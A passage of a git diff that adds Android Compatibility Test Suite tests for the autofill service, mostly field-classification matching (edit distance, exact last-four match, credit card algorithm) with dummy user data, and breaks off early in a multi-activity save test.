+        mCreditCardBundle.putInt("REQUIRED_ARG_MIN_CC_LENGTH", 13);
+        mCreditCardBundle.putInt("REQUIRED_ARG_MAX_CC_LENGTH", 19);
+        mCreditCardBundle.putInt("OPTIONAL_ARG_SUFFIX_LENGTH", 4);
+    }
+
+    @Test
+    public void testFeatureIsEnabled() throws Exception {
+        enableService();
+        assertThat(mAfm.isFieldClassificationEnabled()).isTrue();
+
+        disableService();
+        assertThat(mAfm.isFieldClassificationEnabled()).isFalse();
+    }
+
+    @Test
+    public void testGetAlgorithm() throws Exception {
+        enableService();
+
+        // Check algorithms
+        final List<String> names = mAfm.getAvailableFieldClassificationAlgorithms();
+        assertThat(names.size()).isAtLeast(1);
+        final String defaultAlgorithm = mAfm.getDefaultFieldClassificationAlgorithm();
+        assertThat(defaultAlgorithm).isNotEmpty();
+        assertThat(names).contains(defaultAlgorithm);
+
+        // Checks invalid service
+        disableService();
+        assertThat(mAfm.getAvailableFieldClassificationAlgorithms()).isEmpty();
+    }
+
+    @Test
+    public void testUserData() throws Exception {
+        assertThat(mAfm.getUserData()).isNull();
+        assertThat(mAfm.getUserDataId()).isNull();
+
+        enableService();
+        mAfm.setUserData(new UserData.Builder("user_data_id", "value", "remote_id")
+                .build());
+        assertThat(mAfm.getUserData()).isNotNull();
+        assertThat(mAfm.getUserDataId()).isEqualTo("user_data_id");
+        final UserData userData = mAfm.getUserData();
+        assertThat(userData.getId()).isEqualTo("user_data_id");
+        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+        assertThat(userData.getFieldClassificationAlgorithms()).isNull();
+
+        disableService();
+        assertThat(mAfm.getUserData()).isNull();
+        assertThat(mAfm.getUserDataId()).isNull();
+    }
+
+    @Test
+    public void testRequiredAlgorithmsAvailable() throws Exception {
+        enableService();
+        final List<String> availableAlgorithms = mAfm.getAvailableFieldClassificationAlgorithms();
+        assertThat(availableAlgorithms).isNotNull();
+        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EDIT_DISTANCE)).isTrue();
+        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EXACT_MATCH)).isTrue();
+        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_CREDIT_CARD)).isTrue();
+    }
+
+    @Test
+    public void testUserDataConstraints() throws Exception {
+        // NOTE: values set by the SettingsStateChangerRule @Rules should have unique values to
+        // make sure the getters below are reading the right property.
+        assertThat(UserData.getMaxFieldClassificationIdsSize()).isEqualTo(10);
+        assertThat(UserData.getMaxUserDataSize()).isEqualTo(9);
+        assertThat(UserData.getMinValueLength()).isEqualTo(4);
+        assertThat(UserData.getMaxValueLength()).isEqualTo(50);
+        assertThat(UserData.getMaxCategoryCount()).isEqualTo(42);
+    }
+
+    @Test
+    public void testHit_oneUserData_oneDetectableField() throws Exception {
+        simpleHitTest(false, null);
+    }
+
+    @Test
+    public void testHit_invalidAlgorithmIsIgnored() throws Exception {
+        // For simplicity's sake, let's assume that name will never be valid..
+        String invalidName = " ALGORITHM, Y NO INVALID? ";
+
+        simpleHitTest(true, invalidName);
+    }
+
+    @Test
+    public void testHit_userDataAlgorithmIsReset() throws Exception {
+        simpleHitTest(true, null);
+    }
+
+    @Test
+    public void testMiss_exactMatchAlgorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "t 1234", "cat")
+                .setFieldClassificationAlgorithmForCategory("cat",
+                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "t 5678");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), null);
+    }
+
+    @Test
+    public void testHit_exactMatchLast4Algorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "1234", "cat")
+                .setFieldClassificationAlgorithmForCategory("cat",
+                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "T1234");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "cat", 1);
+    }
+
+    @Test
+    public void testHit_CreditCardAlgorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "1122334455667788", "card")
+                .setFieldClassificationAlgorithmForCategory("card",
+                        REQUIRED_ALGORITHM_CREDIT_CARD, mCreditCardBundle)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "7788");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "card", 1);
+    }
+
+    @Test
+    public void testHit_useDefaultAlgorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "1234", "cat")
+                .setFieldClassificationAlgorithm(REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .setFieldClassificationAlgorithmForCategory("dog",
+                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "T1234");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "cat", 1);
+    }
+
+    private void simpleHitTest(boolean setAlgorithm, String algorithm) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final UserData.Builder userData = new UserData.Builder("id", "FULLY", "myId");
+        if (setAlgorithm) {
+            userData.setFieldClassificationAlgorithm(algorithm, null);
+        }
+        mAfm.setUserData(userData.build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "myId", 1);
+    }
+
+    @Test
+    public void testHit_sameValueForMultipleCategories() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "FULLY", "cat1")
+                .add("FULLY", "cat2")
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId.get(),
+                                new String[] { "cat1", "cat2"},
+                                new float[] {1, 1})
+                });
+    }
+
+    @Test
+    public void testHit_manyUserData_oneDetectableField_bestMatchIsFirst() throws Exception {
+        manyUserData_oneDetectableField(true);
+    }
+
+    @Test
+    public void testHit_manyUserData_oneDetectableField_bestMatchIsSecond() throws Exception {
+        manyUserData_oneDetectableField(false);
+    }
+
+    private void manyUserData_oneDetectableField(boolean firstMatch) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "Iam1ST", "1stId")
+                .add("Iam2ND", "2ndId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, firstMatch ? "IAM111" : "IAM222");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        // Best match is 0.66 (4 of 6), worst is 0.5 (3 of 6)
+        if (firstMatch) {
+            assertFillEventForFieldsClassification(events.get(0), new FieldClassificationResult[] {
+                    new FieldClassificationResult(fieldId.get(), new String[] { "1stId", "2ndId" },
+                            new float[] { 0.66F, 0.5F })});
+        } else {
+            assertFillEventForFieldsClassification(events.get(0), new FieldClassificationResult[] {
+                    new FieldClassificationResult(fieldId.get(), new String[] { "2ndId", "1stId" },
+                            new float[] { 0.66F, 0.5F }) });
+        }
+    }
+
+    @Test
+    public void testHit_oneUserData_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                })
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // 100%
+        mActivity.setText(1, 2, "fooly"); // 60%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(), "myId", 1.0F),
+                        new FieldClassificationResult(fieldId2.get(), "myId", 0.6F),
+                });
+    }
+
+    @Test
+    public void testHit_manyUserData_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId")
+                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
+                .add("EMPTY", "otherId")
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId4 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
+                    fieldId4.set(findAutofillIdByResourceId(context, ID_L2C2));
+                })
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // u1: 100% u2:  20%
+        mActivity.setText(1, 2, "empty"); // u1:  20% u2: 100%
+        mActivity.setText(2, 1, "fooly"); // u1:  60% u2:  20%
+        mActivity.setText(2, 2, "emppy"); // u1:  20% u2:  80%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId2.get(),
+                                new String[] { "otherId", "myId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId3.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 0.6F, 0.2F }),
+                        new FieldClassificationResult(fieldId4.get(),
+                                new String[] { "otherId", "myId"}, new float[] { 0.80F, 0.2F })});
+    }
+
+    @Test
+    public void testHit_manyUserData_manyDetectableFields_differentClassificationAlgo()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "1234", "myId")
+                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
+                .add("EMPTY", "otherId")
+                .setFieldClassificationAlgorithmForCategory("myId",
+                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .setFieldClassificationAlgorithmForCategory("otherId",
+                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
+                })
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "E1234"); // u1: 100% u2:  20%
+        mActivity.setText(1, 2, "empty"); // u1:   0% u2: 100%
+        mActivity.setText(2, 1, "fULLy"); // u1:   0% u2:  20%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId2.get(),
+                                new String[] { "otherId" }, new float[] { 1.0F }),
+                        new FieldClassificationResult(fieldId3.get(),
+                                new String[] { "otherId" }, new float[] { 0.2F })});
+    }
+
+    @Test
+    public void testHit_manyUserDataPerField_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "zzzzz", "myId") // should not have matched any
+                .add("FULL1", "myId") // match 80%, should not have been reported
+                .add("FULLY", "myId") // match 100%
+                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
+                .add("EMPTY", "otherId")
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId4 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
+                    fieldId4.set(findAutofillIdByResourceId(context, ID_L2C2));
+                })
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // u1: 100% u2:  20%
+        mActivity.setText(1, 2, "empty"); // u1:  20% u2: 100%
+        mActivity.setText(2, 1, "fooly"); // u1:  60% u2:  20%
+        mActivity.setText(2, 2, "emppy"); // u1:  20% u2:  80%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId2.get(),
+                                new String[] { "otherId", "myId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId3.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 0.6F, 0.2F }),
+                        new FieldClassificationResult(fieldId4.get(),
+                                new String[] { "otherId", "myId"}, new float[] { 0.80F, 0.2F })});
+    }
+
+    @Test
+    public void testMiss() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "ABCDEF", "myId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "xyz");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForContextCommitted(events.get(0));
+    }
+
+    @Test
+    public void testNoUserInput() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForContextCommitted(events.get(0));
+    }
+
+    @Test
+    public void testHit_usePackageUserData() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "TEST1", "cat")
+                .setFieldClassificationAlgorithm(null, null)
+                .build());
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId1
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .setUserData(new UserData.Builder("id2", "TEST2", "cat")
+                        .setFieldClassificationAlgorithm(null, null)
+                        .build())
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "test1");
+
+        // Finish context
+        mAfm.commit();
+
+        final Event packageUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
+        assertFillEventForFieldsClassification(packageUserDataEvent, fieldId1.get(), "cat", 0.8F);
+
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setVisitor((contexts, builder) -> fieldId2
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .setFieldClassificationIds(ID_L1C1)
+                .build());
+
+        // Need to switch focus first
+        mActivity.focusCell(1, 2);
+
+        // Trigger second autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final Event defaultUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
+        assertFillEventForFieldsClassification(defaultUserDataEvent, fieldId2.get(), "cat", 1.0F);
+    }
+
+    @Test
+    public void testHit_mergeUserData_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                })
+                .setUserData(new UserData.Builder("id2", "FOOLY", "otherId")
+                        .add("EMPTY", "myId")
+                        .build())
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // u1:  20%, u2: 60%
+        mActivity.setText(1, 2, "empty"); // u1: 100%, u2: 20%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(),
+                                new String[] { "otherId", "myId" }, new float[] { 0.6F, 0.2F }),
+                        new FieldClassificationResult(fieldId2.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
+                });
+    }
+
+    /*
+     * TODO(b/73648631): other scenarios:
+     *
+     * - Multipartition (for example, one response with FieldsDetection, others with datasets,
+     *   saveinfo, and/or ignoredIds)
+     * - make sure detectable fields don't trigger a new partition
+     * v test partial hit (for example, 'fool' instead of 'full'
+     * v multiple fields
+     * v multiple value
+     * - combinations of above items
+     */
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
new file mode 100644
index 0000000..3f08397
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.activities.PreSimpleSaveActivity.ID_PRE_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.content.ComponentName;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+
+import org.junit.Test;
+
+@AppModeFull(reason = "Service-specific test")
+public class MultiScreenDifferentActivitiesTest
+        extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    @Test
+    public void testActivityNotDelayedIsNotMerged() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger autofill on 1st activity, without using FLAG_DELAY_SAVE
+        final PreSimpleSaveActivity activity1 = startPreSimpleSaveActivity();
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_PRE_INPUT)
+                .build());
+
+        activity1.syncRunOnUiThread(() -> activity1.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger autofill on 2nd activity
+        final SimpleSaveActivity activity2 = startSimpleSaveActivity();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT)
+                .build());
+        activity2.syncRunOnUiThread(() -> activity2.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setText("ID");
+            activity2.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Make sure only second request is available
+        assertThat(saveRequest.contexts).hasSize(1);
+
